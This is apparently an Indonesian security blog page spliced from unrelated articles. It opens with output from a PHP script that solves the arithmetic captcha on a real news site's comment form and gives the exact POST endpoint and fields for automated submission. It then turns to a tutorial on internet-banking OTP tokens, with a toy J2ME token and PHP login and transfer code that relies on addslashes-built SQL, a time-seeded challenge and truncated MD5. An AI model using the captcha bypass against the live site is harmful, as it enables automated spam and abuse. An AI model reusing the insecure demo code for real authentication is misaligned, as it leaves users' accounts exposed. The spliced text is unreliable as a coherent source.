2
3
4
5
6
7
8
9
10
11
$ for i in `seq 1 10`;do php republika.php ;done
3+1=4
6-0=6
9+8=17
3+6=9
9-3=6
2+9=11
4-4=0
9-3=6
8+7=15
1-8=-7

Setelah menyelesaikan captcha, langkah kedua adalah langkah mengirimkan jawaban soal ke webserver. Jawaban dikirimkan dalam bentuk POST request ke http://www.republika.co.id/E3/saveCommentar bersama dengan cookie dan field berikut:
nama=[NamaKomentator]&email=&website=&news_id=51223&komentar=[isikomentar]&secCode=[JawabanCaptcha]&commit=

Penggunaan token berupa alat kecil semacam kalkulator untuk mengamankan transaksi internet banking kini sudah menjadi hal yang wajib. Token ini menjadi faktor tambahan dalam otentikasi yaitu untuk membuktikan bahwa anda adalah benar-benar pengguna yang sah. Mungkin ada yang bertanya-tanya bagaimana cara kerja token seperti yang dipakai situs internet banking? Bagaimana alat kecil seperti kalkulator itu bisa menghasilkan angka yang juga diketahui oleh server internet banking, padahal alat itu tidak terbubung dengan server. Dalam artikel ini saya akan menjelaskan cara kerja token internet banking, dan dalam artikel berikutnya saya akan membuat token berbasis software dan website sederhana yang akan mensimulasikan internet banking.

Authentication Method

Otentikasi bertujuan untuk membuktikan siapa anda sebenarnya, apakah anda benar-benar orang yang anda klaim sebagai dia (who you claim to be). Ada banyak cara untuk membuktikan siapa anda. Metode otentikasi bisa dilihat dalam 3 kategori metode:

  1. Something You Know
  2. Ini adalah metode otentikasi yang paling umum. Cara ini mengandalkan kerahasiaan informasi, contohnya adalah password dan PIN. Cara ini berasumsi bahwa tidak ada seorangpun yang mengetahui rahasia itu kecuali anda seorang.

  3. Something You Have
  4. Cara ini biasanya merupakan faktor tambahan untuk membuat otentikasi menjadi lebih aman. Cara ini mengandalkan barang yang sifatnya unik contohnya adalah kartu magnetik/smartcard, hardware token, USB token dan sebagainya. Cara ini berasumsi bahwa tidak ada seorangpun yang memiliki barang tersebut kecuali anda seorang.

  5. Something You Are
  6. Ini adalah metode yang paling jarang diapakai karena faktor teknologi dan manusia juga. Cara ini mengandalkan keunikan bagian-bagian tubuh anda yang tidak mungkin ada pada orang lain seperti sidik jari, suara atau sidik retina. Cara ini berasumsi bahwa bagian tubuh anda seperti sidik jari dan sidik retina, tidak mungkin sama dengan orang lain.

Lalu bagaimana dengan metode otentikasi tradisional seperti tanda tangan di atas materai? Masuk ke kategori manakah cara itu dari ketiga metode di atas? Saya pikir tidak ada yang cocok, karena itu saya tambahkan satu lagi yaitu “Something You Can“. Cara ini berasumsi bahwa tidak ada orang lain di dunia ini yang bisa melakukan itu selain anda. Memang otentikasi dengan tanda tangan dibangun di atas asumsi itu, tidak ada yang bisa menuliskan tanda tangan anda kecuali anda. Walaupun pada kenyataannya ada saja orang yang bisa meniru tanda tangan anda dengan sangat baik, namun walaupun menyadari fakta tersebut tanda tangan di atas kertas tetap diakui sebagai bukti otentik atas siapa anda.

Two Factor Authentication

Pada aplikasi yang kritis dan sensitif seperti transaksi keuangan, satu metode otentikasi saja tidak cukup. Oleh karena itu muncul istilah 2FA (Two Factor Authentication) yang merupakan sistem otentikasi yang menggunakan 2 faktor (metode) yang berbeda. Empat metode otentikasi yang sudah saya jelaskan sebelunya dapat dikombinasikan untuk meningkatkan keamanan, salah satu contohnya adalah dengan kombinasi “something you have” berupa kartu ATM dengan “something you know” berupa PIN. Kombinasi ini merupakan kombinasi yang paling banyak dipakai.

Contoh kasus lain adalah ketika anda berbelanja di pasar modern dan membayar dengan kartu, tanpa disadari anda telah memakai lebih dari satu faktor otentikasi. Faktor yang pertama adalah “Something You Have” yaitu kartu debit/kredit anda. Faktor kedua adalah “Something You Know”, ketika anda diminta memasukkan PIN ke dalam mesin EDC. Bahkan mungkin ada faktor ketiga yaitu “Something You Can”, ketika anda diminta menanda-tangani nota pembayaran yang dicetak mesin EDC.

Internet banking juga menggunakan two factor authentication dengan mengombinasikan “something you know” berupa password dan “something you have” berupa hardware token (keyBCA atau Token Mandiri).

Password yang Dikeluarkan Token Internet Banking

Pada umumnya ada dua mode pemakaian token internet banking:

  1. Mode Challenge/Response (C/R)
  2. Ini adalah mode yang paling sering dipakai ketika bertransaksi. Dalam mode ini server memberikan challenge berupa sederetan angka. Angka tersebut harus dimasukkan kedalam mesin token untuk mendapatkan jawaban (response). Kemudian pengguna memasukkan angka yang muncul pada tokennya ke dalam form di situs internet banking. Token akan mengeluarkan kode yang berbeda-beda walaupun dengan challenge code yang sama secara periodik tergantung waktu ketika challenge dimasukkan ke dalam token.

  3. Mode Self Generated (Response Only)
  4. Dalam mode ini server tidak memberikan tantangan (challenge) apapun. Token pengguna bisa langsung mengeluarkan sederetan angka tanpa harus memasukkan challenge. Seperti mode C/R, token juga mengeluarkan kode yang berbeda-beda secara periodik tergantung waktu ketika token diminta untuk menghasilkan kode self generated.

Sebenarnya jawaban yang diberikan oleh token baik dalam mode C/R maupun Self Generated(resopnse only) tidak lain adalah password juga. Namun berbeda dengan password yang anda pakai untuk login, password yang dihasilkan token ini memiliki keterbatasan untuk alasan keamanan, yaitu:

  1. Hanya boleh dipakai 1 kali
  2. Ini disebut dengan OTP (One Time Password). Setelah suatu password dipakai, maka password yang sama tidak bisa lagi dipakai untuk kedua kalinya. Dengan cara ini tidak ada gunanya menyadap password yang dihasilkan token karena password tersebut tidak bisa dipakai lagi. Namun bila password tersebut di-intercept sehingga tidak pernah sampai ke server, maka password tersebut masih berharga karena di mata server, password itu belum pernah dipakai.

  3. Hanya boleh dipakai dalam rentang waktu yang terbatas
  4. Password yang dihasilkan token memiliki umur yang sangat terbatas, mungkin antara 3-6 menit bila umurnya habis maka password itu tidak bisa dipakai, walaupun belum pernah dipakai. Nanti akan saya jelaskan mengapa password token memerlukan umur, waktu merupakan unsur yang sangat kritikal dalam sistem ini.

  5. Hanya boleh dipakai dalam konteks sempit
  6. Bila password/PIN yang dipakai untuk login adalah password yang bebas konteks, dalam arti dengan berbekal password itu, anda bisa melakukan banyak hal, mulai dari melihat saldo, mengecek transaksi dan sebagainya. Namun password yang dihasilkan token, hanya bisa dipakai dalam konteks sempit, contohnya password yang dipakai untuk mengisi pulsa ke nomor 08123456789, tidak bisa dipakai untuk melakukan transfer dana.

    Terbatasnya konteks ini disebabkan karena untuk melakukan transaksi dibutuhkan password yang diikat oleh challenge dari server, sehingga password tersebut tidak bisa dipakai untuk transaksi lain yang membutuhkan challenge code yang berbeda. Contohnya bila challenge yang diberikan server adalah 3 digit terakhir dari nomor handphone (untuk transaksi isi pulsa), atau 3 digit terakhir nomor rekening tujuan (untuk transaksi transfer). Maka password yang dihasilkan token untuk transaksi isi pulsa ke nomor 0812555111222, akan valid juga untuk transaksi transfer uang ke rekening 155887723120222. Sebab kebetulan kedua transaksi tersebut membutuhkan password yang diikat oleh challenge code yang sama, yaitu 222 (diambil dari 3 digit terakhir).

    Konteks ini hanya berlaku bila password dihasilkan dalam mode C/R. Password yang dihasilkan dalam mode Self Generated, bisa dipakai dalam transaksi apa saja yang tidak meminta password dengan challenge code.

Jadi bisa disimpulkan bahwa password yang dikeluarkan token bersifat:

  1. Selalu berubah-ubah secara periodik
  2. Memiliki umur yang singkat
  3. Hanya bisa dipakai 1 kali
  4. Terbagi dalam ada dua jenis, yaitu:
  • Password kontekstual yang terikat oleh challenge code dalam mode challenge/response.
  • Password bebas konteks yang dihasilkan dalam mode self generated.

Proses Otentikasi

Seperti password pada umumnya, syarat agar otentikasi berhasil adalah:

password yang dikirimkan client = password yang disimpan di server

Dengan alasan keamanan jarang sekali server menyimpan password user dalam bentuk plain-text. Biasanya server menyimpan password user dalam bentuk hash sehingga tidak bisa dikembalikan dalam bentuk plain-text. Jadi syarat otentikasi berhasil di atas bisa diartikan sebagai hasil penghitungan hash dari password yang dikirim klien harus sama dengan nilai hash yang disimpan dalam server. Perhatikan gambar di bawah ini untuk lebih memahami.

courtesy of "www.unixwiz.net/techtips/iguide-crypto-hashes.html"

courtesy of "www.unixwiz.net/techtips/iguide-crypto-hashes.html"

Penggunaan Salt

Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah “secret”, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak “81090273″ sehingga yang dihitung nilai hashnya adalah “secret81090273″ bukan “secret”.

Perhatikan bahwa nilai MD5(“secret81090273″) adalah 894240dbe3d2b546c05a1a8e9e0df1bc sedangkan nilai MD5(“secret”) adalah 5ebe2294ecd0e0f08eab7690d2a6ee69. Bila tanpa menggunakan salt, maka attacker yang mendapatkan nilai hash 5ebe2294ecd0e0f08eab7690d2a6ee69 bisa menggunakan teknik brute force attack atau rainbow table untuk mendapatkan nilai password dalam plain-text. Salah satu contoh database MD5 online yang bisa dipakai untuk crack md5 adalah http://gdataonline.com/seekhash.php . Dalam situs tersebut coba masukkan nilai 5ebe2294ecd0e0f08eab7690d2a6ee69, maka situs tersebut akan memberikan hasil “secret”. Hal ini disebabkan karena situs tersebut telah menyimpan pemetaan informasi secret<=>5ebe2294ecd0e0f08eab7690d2a6ee69.

Penambahan salt “81090273″ membuat nilai hash menjadi 894240dbe3d2b546c05a1a8e9e0df1bc. Bila nilai ini dimasukkan dalam situs tersebut, dijamin tidak akan ada dalam databasenya bahwa nilai hash tersebut adalah “secret81090273″. Dan karena nilai salt ini dibangkitkan secara random, maka tiap user memiliki nilai salt yang berbeda sehingga tidak mungkin attacker bisa membangun database pemetaan antara plaintext dan hash secara lengkap.

Dengan penggunaan salt, maka database pengguna dalam server akan tampak seperti ini:

Username Salt Password Hash
budi 81090273 894240dbe3d2b546c05a1a8e9e0df1bc

Field salt diperlukan ketika melakukan otentikasi. Password yang dikirimkan user akan ditambahkan dulu dengan nilai salt ini baru kemudian dihitung nilai hashnya. Nilai hash hasil perhitungan tersebut akan dibandingkan dengan field Password Hash yang ada di kolom sebelahnya. Bila sama, maka otentikasi berhasil, bila tidak sama, berarti otentikasi gagal. Secara prinsip sama saja dengan gambar di atas, hanya ditambahkan satu langkah yaitu penambahan salt sebelum dihitung nilai hashnya.

Pembangkitan One Time Password (OTP) Token Internet Banking

Apa yang saya jelaskan sebelumnya menjadi dasar dari apa yang akan saya jelaskan berikut ini. Bagaimana cara token menghasilkan sederetan angka sebagai OTP yang bisa diotentikasi oleh server? Ingat bahwa syarat agar otentikasi berhasil adalah password yang dikirim klien harus sama dengan yang disimpan di server. Ingat juga bahwa password yang dihasilkan token selalu berubah-ubah secara periodik. Bagaimana apa yang dihasilkan alat itu bisa sinkron dengan server? Padahal alat tersebut tidak terhubung dengan server, bagaimana server bisa tahu berapa nilai yang dihasilkan token? Jawabannya adalah dengan waktu. Sebelumnya sudah saya sebutkan bahwa waktu adalah elemen yang sangat penting dalam sistem ini. Server dan token dapat sinkron dengan menggunakan waktu sebagai nilai acuan.

OTP dalam Mode Self Generated (Response Only)

Saya akan jelaskan mulai dari pembangkitan OTP dalam mode self generated atau response only. Sebelumnya tentu saja, server dan token harus menyepakati sebuah nilai awal rahasia (init-secret). Nilai awal ini disimpan (ditanam) dalam token dan disimpan juga dalam tabel di server.

Ketika pada suatu waktu tertentu token diminta menghasilkan OTP tanpa challenge code, inilah yang dilakukan token:

  1. Mengambil waktu saat ini dalam detik berformat EPOCH (jumlah detik sejak 1 Januari 1970), biasanya dalam granularity 10 detik, sehingga nilai EPOCH dibagi 10.
  2. Menggabungkan init-secret dengan waktu saat ini dari langkah 1.
  3. Menghitung nilai hash gabungan init-secret dan waktu dari langkah 2.

Nilai hash dari langkah 3 inilah yang menjadi OTP. Namun biasanya OTP diambil dari beberapa karakter/digit di awal hash.

Bagaimana cara server melakukan otentikasi? Caranya mirip dengan yang dilakukan token, yaitu dengan menghitung nilai hash gabungan init-secret dengan waktu saat ini dan mengambil beberapa digit di awal sebagai OTP. Bila OTP yang dikirim user sama dengan OTP yang didapatkan server dari perhitungan hash, maka otentikasi berhasil.

Namun ada sedikit catatan yang harus diperhatikan terkait waktu. Untuk memberikan toleransi perbedaan waktu antara token dan server, dan juga jeda waktu dari sejak server meminta password sampai user meminta token membangkitkan token, maka server harus memberikan toleransi waktu.

Ada tiga kejadian yang perlu diperhatikan waktunya, yaitu:

  1. Detik ketika server meminta password (OTP) dari user
  2. Detik ketika token membangkitkan OTP
  3. Detik ketika server menerima OTP dari user

Perhatikan contoh di bawah ini:

Bila diasumsikan waktu di server sama persis dengan waktu di token (jam internal token), maka kita harus perhatikan bahwa pasti akan ada jeda antara kejadian 1, 2 dan 3. Bila pada detik ke-0 server meminta password dari user, karena lambatnya akses internet, bisa jadi baru pada detik ke-30 user melihat pada browsernya bahwa dia harus memasukkan OTP dari token. Kemudian baru pada detik ke-60 token menghasilkan OTP. Pada detik ke-65 user mensubmit nilai OTP tersebut ke server dan baru tiba di server pada detik ke-90.

Karena pembangkitan OTP tergantung waktu pada saat OTP dibangkitkan, maka OTP yang dihasilkan token, adalah OTP pada detik ke-60. Sedangkan server meminta password dari user sejak detik ke-0. Bagaimana cara server melakukan otentikasi? Caranya adalah dengan memeriksa seluruh kemungkinan OTP dalam rentang waktu yang dipandang memadai, misalkan 180 detik.

Bila sistem menggunakan granularity 10 detik maka server harus menghitung nilai OTP sejak dari detik ke-0, 10, 20, 30, 40, s/d ke 180 dalam kelipatan 10 detik. Perhatikan contoh pada gambar di bawah ini. Dalam sistem ini diasumsikan OTP adalah 6 karakter awal dari MD5 gabungan. Dalam melakukan otentikasi, server harus membandingkan semua nilai OTP sejak detik ke-0 (dalam contoh ini EPOCH/10 = 124868042) hingga waktu toleransi maksimum.

otptoken1Dalam contoh di atas bila user mengirimkan OTP “b1cdb9″ maka otentikasi akan berhasil ketika server menghitung nilai OTP pada detik ke-60 sejak server meminta OTP dari user.

Ilustrasi di atas hanyalah contoh, pada kenyataannya ada kemungkinan waktu antara server dan token tidak sama persis 100%, sehingga server terpaksa harus memberikan toleransi waktu tidak hanya ke depan, namun juga ke belakang. Sebab bisa jadi waktu di server lebih cepat daripada waktu di token. Sebagai contoh ketika waktu di server menunjukkan EPOCH/10=124868219, bisa jadi waktu di token baru menunjukkan EPOCH/10=1248682121 (waktu token terlambat 80 detik).

Misalkan waktu toleransi adalah 3 menit, maka server harus memberikan toleransi 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server menerima OTP dari user dan melakukan otentikasi. Ingat, waktu toleransi ini relatif terhadap waktu server melakukan otentikasi. Jadi jika server melakukan otentikasi pada EPOCH/10=600, maka server harus menghitung seluruh nilai OTP sejak EPOCH/10=420 hingga EPOCH/10=780.

Ingat penjelasan saya tentang salt sebelumnya. Kalau dibandingkan dengan OTP ini, maka nilai init-secret adalah sejenis dengan password plain-text pengguna, sedangkan salt atau tambahannya adalah waktu (EPOCH/10).

Umur OTP

Sebelumnya sudah saya sebutkan bahwa sifat dari OTP adalah memiliki umur yang terbatas. Umur ini terkait dengan waktu toleransi yang diberikan server sebesar X detik ke depan dan X detik ke belakang relatif terhadap saat server melakukan otentikasi. Bila waktu toleransi adalah 3 menit (180 detik), maka umur sebuah OTP adalah 3 menit, dalam arti bila server melakukan otentikasi tidak lebih dari 3 menit sejak OTP dibangkitkan token, maka OTP tersebut akan dianggap valid oleh server.

OTP dalam Mode Challenge/Response

Pembangkitan dan otentikasi OTP dalam mode C/R sebenarnya mirip dengan mode self-generated. Bila dalam mode self generated tambahan (salt) dari init-secret adalah waktu (EPOCH/10), dalam mode C/R ini salt/tambahannya lebih banyak. Init-secret tidak hanya ditambah dengan waktu, namun juga ditambah lagi dengan challenge.

Perhatikan gambar di bawah ini. Server melakukan penghitungan OTP untuk semua detik dalam waktu toleransinya.

otptoken2

Dalam mode C/R ada field tambahan yang harus digabungkan sebelum dihitung nilai hashnya, yaitu challenge. Nilai challenge ini diketahui oleh server dan juga oleh token (ketika user mengetikkan challenge ke token), sehingga baik token maupun server akan dapat menghitung OTP yang sama sehingga proses otentikasi dapat berlangsung.

Pada artikel sebelumnya saya sudah menjelaskan cukup detil tentang cara kerja token yang dipakai pada internet banking. Artikel tersebut hanya menjelaskan sebatas teoretis saja, saya pikir akan lebih baik bila ada prakteknya. Oleh karena itu, seperti yang sudah saya janjikan, kali ini saya akan membuat sebuah contoh sederhana website dengan otentikasi yang menggunakan token seperti pada situs internet banking. Aplikasi token yang saya buat ini dikembangkan dari aplikasi yang bernama Mobile-OTP, dari aplikasi itu saya tambahkan beberapa fitur agar mirip dengan token yang dipakai di internet banking. Sedangkan aplikasi server/website saya harus membuat sendiri dari awal karena tidak tersedia di Internet.

Persiapan

Ada dua komponen yang terlibat dalam sistem ini, yaitu token yang dipakai oleh client dan tentu saja server. Token ada yang berwujud fisik seperti kalkulator kecil, ada juga yang berwujud software yang disebut juga virtual token. Sebenarnya token fisik maupun software sama saja, jadi dalam artikel ini saya akan membuat token yang berwujud software. Lebih spesifik lagi token ini dibuat dengan Java Mobile sehingga bisa diinstall di handphone yang mendukung Java. Jadi wujud fisik token yang berbentuk kalkulator bisa digantikan dengan wujud fisik sebuah handphone. Dalam artikel ini saya akan menggunakan emulator handphone yang dibundel dari Java Wireless Toolkit.

Komponen lainnya adalah server. Diperlukan web server dan database server, dalam artikel ini saya pakai XAMPP yang sudah dibundel dengan Apache, PHP dan MySQL.

Spesifikasi One Time Password di Aplikasi Contoh

Dalam aplikasi contoh ini, one time password didapatkan dengan mengambil 6 karakter pertama hasil penghitungan hash dengan fungsi MD5. Granularity sistem ini adalah 10 detik, dengan kata lain setiap 10 detik token akan menghasilkan OTP yang berbeda. Jika anda meminta token mengeluarkan OTP beberapa kali dalam rentang 10 detik, maka semuanya akan menghasilkan OTP yang sama. Kemudian baru ketika waktu masuk ke 10 detik berikutnya token akan menghasilkan OTP yang baru.

Dalam aplikasi contoh ini, umur OTP adalah 3 menit, artinya server harus menghitung semua OTP dalam time window 6 menit, yaitu 3 menit ke belakang dan 3 menit ke depan relatif terhadap waktu ketika server melakukan otentikasi. Konsekuensinya adalah setiap OTP yang dihasilkan token akan dianggap valid bila belum pernah dipakai dalam 3 menit sejak OTP dibangkitkan.

Spesifikasi Software Token

Token yang akan saya buat ini nantinya memiliki fitur yang sama dengan token internet banking pada umumnya. Pada kondisi normal nilai init-secret sudah ditanam di dalam token secara hardware, namun dalam token contoh ini tersedia fitur untuk melakukan inisialisasi nilai init-secret. Init-secret ini harus dicatat juga di server agar server bisa menghasilkan OTP yang sama dengan token.

Token bisa menghasilkan OTP dalam mode Challenge/Response maupun dalam mode Response Only (self generated). Challenge yang diterima oleh token adalah sepanjang 4 digit dan menghasilkan response sepanjang 6 digit hexadesimal.

Spesifikasi Website

Website dalam aplikasi contoh ini saya buat dengan PHP. Aplikasi ini terdiri dari 2 file saja, yaitu login.php dan transfer.php. Login.php digunakan untuk melakukan login dengan menggunakan response only pin dari token. Sedangkan transfer.php adalah untuk melakukan transfer uang dengan menggunakan challenge/response pin dari token.

Aplikasi ini saya pasang pada localhost yang terinstall Apache+MySQL+PHP dari XAMPP. Sebelum bisa melakukan transfer uang, user harus melakukan login di URL https://localhost/mytestbank/login.php . Perhatikan URL tersebut sengaja saya memakai https agar mirip dengan internet banking. Tentu saja browser anda akan berontak ketika menggunakan https karena memang saya tidak punya sertifikat yang ditandatangani CA untuk localhost. Bila anda kesulitan mengonfigurasi browser anda untuk memakai https tersebut, anda boleh memakai http biasa.

Pada saat login user diminta memasukkan username dan OTP yang dihasilkan dari token dalam mode response only (self generated). Bila login berhasil, maka user dialihkan ke halaman https://localhost/mytestbank/transfer.php . Berbeda dengan halaman login, pada saat transfer user diminta untuk memasukkan OTP dari token dalam mode challenge/response. Server memberikan challenge sepanjang 4 digit angka.

Aplikasi ini juga membutuhkan sebuah tabel MySQL bernama users yang saya masukkan dalam database bernama mytestbank. Tabel ini digunakan untuk menyimpan informasi pengguna website. Berikut adalah script SQL untuk membuat tabel users.

CREATE TABLE IF NOT EXISTS `users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`initsecret` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

Agar lebih mudah sebaiknya anda menginstall XAMPP atau WAMP dan menggunakan PhpMyAdmin untuk membuat tabel users tersebut.

Pembuatan Token

Token dibuat dengan Java Mobile (disebut midlet) yang sangat sederhana. Midlet ini hanya terdiri dari 2 file, yaitu MD5.java dan MobileOTP.java. Class MD5 adalah library untuk menghitung nilai hash MD5. Sedangkan class MobileOTP adalah class utama. Karena sourcenya cukup panjang, anda bisa mendownload sourcenya dalam file zip di sini. File zip itu bisa langsung anda extract ke dalam folder apps dalam Java Wireless Toolkit bila ingin menjalankan midlet itu dengan menggunakan emulator.

Saya akan menjelaskan fungsi utama dari token yaitu membangkitkan OTP dalam mode Challenge/Response dan mode Response Only. Perhatikan potongan kode token berikut yang berfungsi untuk membangkitkan OTP dalam mode Response Only.

now=new Date();          
epoch=""+(now.getTime()+((timez-12)*3600000));
epoch=epoch.substring(0,epoch.length()-4);
String otp=epoch+secret;
MD5 hash=new MD5(otp);
otp=hash.asHex().substring(0,6);

Kode di atas sangat sederhana, diawali dengan mengambil detik EPOCH sepanjang 9 digit (ini sama dengan EPOCH/10 karena granularitynya adalah 10 detik). Kemudian nilai EPOCH tersebut digabung dengan init-secret. String gabungan epoch dengan init secret ini dihitung hashnya dengan MD5. Kemudian 6 karakter pertama dari hash tersebut diambil sebagai OTP response only (self generated).

Kode berikut ini adalah untuk membangkitkan OTP dalam mode challenge/response. Kode tersebut sangat mirip dengan potongan kode di atas hanya perbedaannya adalah adanya challenge yang dalam kode tersebut ada pada variabel PIN. Gabungan dari epoch, init secret dan challenge dihitung nilai hashnya dengan MD5, baru kemudian diambil 6 karakter pertamanya sebagai OTP.

1
2
3
4
5
6
now=new Date();            
epoch=""+(now.getTime()+((timez-12)*3600000));
epoch=epoch.substring(0,epoch.length()-4);
otp=epoch+secret+PIN;
hash=new MD5(otp);
otp=hash.asHex().substring(0,6);

Bila anda ingin mencobanya di hape anda, pastikan HP anda mendukung java. Anda bisa mengkopi file JAR aplikasi ini ke memory card anda dengan bluetooth/USB, atau anda bisa juga mendownload langsung dari browser hp anda. URL untuk mendownload file JAR midlet ini adalah http://www.ilmuhacking.com/wp-content/uploads/2009/07/MobileOTP.jar . Selanjutnya anda tinggal mengikuti petunjuk untuk instalasi aplikasi seperti biasa. Ingat sebelum dipakai diperlukan langkah inisialisasi nilai init-secret dengan cara mengetikkan #**# dalam field “CHAL”.

Berikut ini adalah screen capture dari aplikasi tersebut yang diinstall di HP saya. Dua gambar di bawah ini adalah prosedur inisialisasi init-secret ketika aplikasi pertama kali dijalankan. Nilai init secret ini harus dicatat dan disimpan ke dalam tabel user di server.

e90mobileotp1
e90mobileotp2

Gambar di bawah ini adalah screen shot ketika midlet token membangkitkan OTP dalam mode response only.

e90mobileotp5

Gambar di bawah ini adalah screen shot ketika midlet token membangkitkan OTP dalam mode challenge response.

e90mobileotp4

Pembuatan Aplikasi Web

Aplikasi web terdiri dari dua file yaitu login yang menggunakan OTP dalam mode response only, dan transfer yang menggunakan OTP dalam mode challenge response. Seperti halnya midlet token, aplikasi ini juga sangat sederhana. Fungsi utamanya adalah pada fungsi checkCR() dan checkRO() yang berfungsi untuk melakukan otentikasi dalam mode Challenge/Response atau Response Only. Berikut adalah isi dari fungsi checkCR dan checkRO.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Check Challenge/Response Mode
function checkCR($chal,$otp,$initsecret)
{
$maxperiod = 3*60; // in seconds = +/- 3 minutes
$time=gmdate("U");
for($i = $time - $maxperiod; $i <= $time + $maxperiod; $i++)
{
$md5 = substr(md5(substr($i,0,-1).$initsecret.$chal),0,6);
if($otp == $md5) return(true);
}
return(false);
}

// Check Response/Only Mode
function checkRO($otp,$initsecret)
{
$maxperiod = 3*60; // in seconds = +/- 3 minutes
$time=gmdate("U");
for($i = $time - $maxperiod; $i <= $time + $maxperiod; $i++)
{
$md5 = substr(md5(substr($i,0,-1).$initsecret),0,6);
if($otp == $md5) return(true);
}
return(false);
}

Perbedaan kedua fungsi itu hanya pada adanya $chal pada fungsi checkCR() sedangkan pada fungsi checkRO() yang digabungkan hanya epoch dan initsecret. Mari kita ulas kedua fungsi tersebut karena inti dari aplikasi ini ada pada kedua fungsi itu.

Dalam artikel sebelumnya saya sudah menjelaskan mengenai time window atau toleransi yang diberikan server ketika melakukan otentikasi. Dalam contoh ini time window yang diberikan server adalah 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server melakukan otentikasi. Waktu (dalam detik EPOCH) ketika server melakukan otentikasi disimpan pada variabel $time (baris ke-5 dan baris ke-18), sehingga server harus menghitung semua otp dari $time-180 hingga $time+180 (3 menit ke belakang dan 3 menit ke depan) pada baris ke-6 dan baris-19.

Selanjutnya pada barus ke-8 dan baris ke-21 server menghitung otp dengan mengambil 6 karakter awal dari fungsi hash gabungan dari epoch+initsecret dan challenge (khusus untuk checkCR).

Di bawah ini adalah source untuk file login.php. Untuk melakukan otentikasi, login.php memanggil fungsi checkRO() pada baris ke-12. Namun untuk memanggil fungsi checkRO() dibutuhkan init secret dari user yang disimpan dalam tabel users sehingga server harus melakukan query ke tabel users (baris ke-8). Selanjutnya bila otentikasi berhasil server akan menyimpan username dan initsecret pada session kemudian mengalihkan user ke aplikasi transfer (transfer.php).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

session_start();
include("initdb.php");
include("lib.php");
if (isset($_POST["login"])) {
$username = addslashes($_POST["username"]);
$pin = $_POST["pin"];
$sql = "select initsecret from users where username='$username' ";
$res=mysql_query($sql);
if ($arr_row=mysql_fetch_array($res)) {
$initsecret = $arr_row[0];
$success = checkRO($pin,$initsecret);
if ($success) {
$_SESSION["username"] = $username;
$_SESSION["initsecret"] = $initsecret;
header("Location: transfer.php");
} else {
$err = "Wrong PIN, Try Again.";
}
} else {
$err = "Wrong PIN, Try Again.";
}
}
?>


Login Internet Banking MyTestBank


if (isset($err)) echo "$err"; ?>













Username
Token PIN:



Di bawah ini adalah source untuk file transfer.php. Untuk melakukan otentikasi server memanggil fungsi checkCR() pada baris ke-13. Fungsi checkCR ini membutuhkan init secret, challenge yang diambil dari session. Kemudian server akan memberikan pesan “Transfer Success” atau “Wrong PIN” tergantung dari hasil fungsi checkCR().

Pada baris ke-21 dan ke-22 server membangkitkan nilai acak sepanjang 4 digit sebagai challenge. Challenge ini disimpan dalam session agar tidak bisa dimanipulasi user. Bila challenge disimpan sebagai hidden field dalam form, maka user bisa bebas mengubah isi challenge itu.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

session_start();
include("initdb.php");
include("lib.php");
if (!isset($_SESSION["initsecret"])) {
header("Location: login.php");
}
if (isset($_POST["login"])) {
$username = addslashes($_POST["username"]);
$pin = addslashes($_POST["pin"]);
$initsecret = $_SESSION["initsecret"];
$challenge = $_SESSION["challenge"];
$success = checkCR($challenge,$pin,$initsecret);

if ($success) {
$msg = "Transfer Success";
} else {
$msg = "Wrong PIN";
}
}
srand(time());
$challenge = sprintf("%04d",(rand()%9999));
$_SESSION["challenge"] = $challenge;

?>


if (isset($msg)) echo "$msg"; ?>

Transfer Form



No Rekening Tujuan:

Jumlah: Rp.

Challenge Code: $challenge ?>(Masukkan kode ini ke dalam token anda)

Token PIN : (Masukkan response dari token anda)





Anda bisa mendownload semua source php di sini.

Test

Sebelum mencoba pertama saya harus menyamakan jam di token (handphone) dengan jam di server. Setelah sama baru kita uji coba aplikasi ini dengan skenario berikut:

Nasabah myTestBank ingin memakai aplikasi internet banking myTestBank untuk mentransfer sejumlah uang. Untuk itu dia baru saja mendownload Midlet Token dan menginstallnya ke HPnya. Token midlet tersebut diinisialisasi dengan nilai init secret 369e4a62be0e579a. Setelah mendaftar user tersebut mendapat username rizki. Untuk menggunakan fasilitas ini dia harus membuka browser ke URL https://localhost/mytestbank/login.php .

Selain menyamakan jam di token dan di server, init secret di token dan di server harus sama. Gambar di bawah ini menunjukkan bahwa init secret di hape saya sudah sama dengan yang di tabel users MySQL.

initsecret-server-token

Kini user sudah siap mencoba untuk login ke aplikasi MyTestBank di URL https://localhost/mytestbank/login.php . Berikut ini adalah screen capture ketika user login.

loginotp

Setelah login berhasil, kemudian user dihadapkan pada form untuk melakukan transfer uang. Berikut ini adalah screen shot pada browser dan hp user ketika user melakukan transfer.

transferformOTP

Setelah memasukkan OTP dengan benar, server memberikan informasi “Transfer Success”. Kini user telah berhasil melakukan transfer. Berikut adalah screenshot ketika transfer berhasil dilakukan.

transfersuccess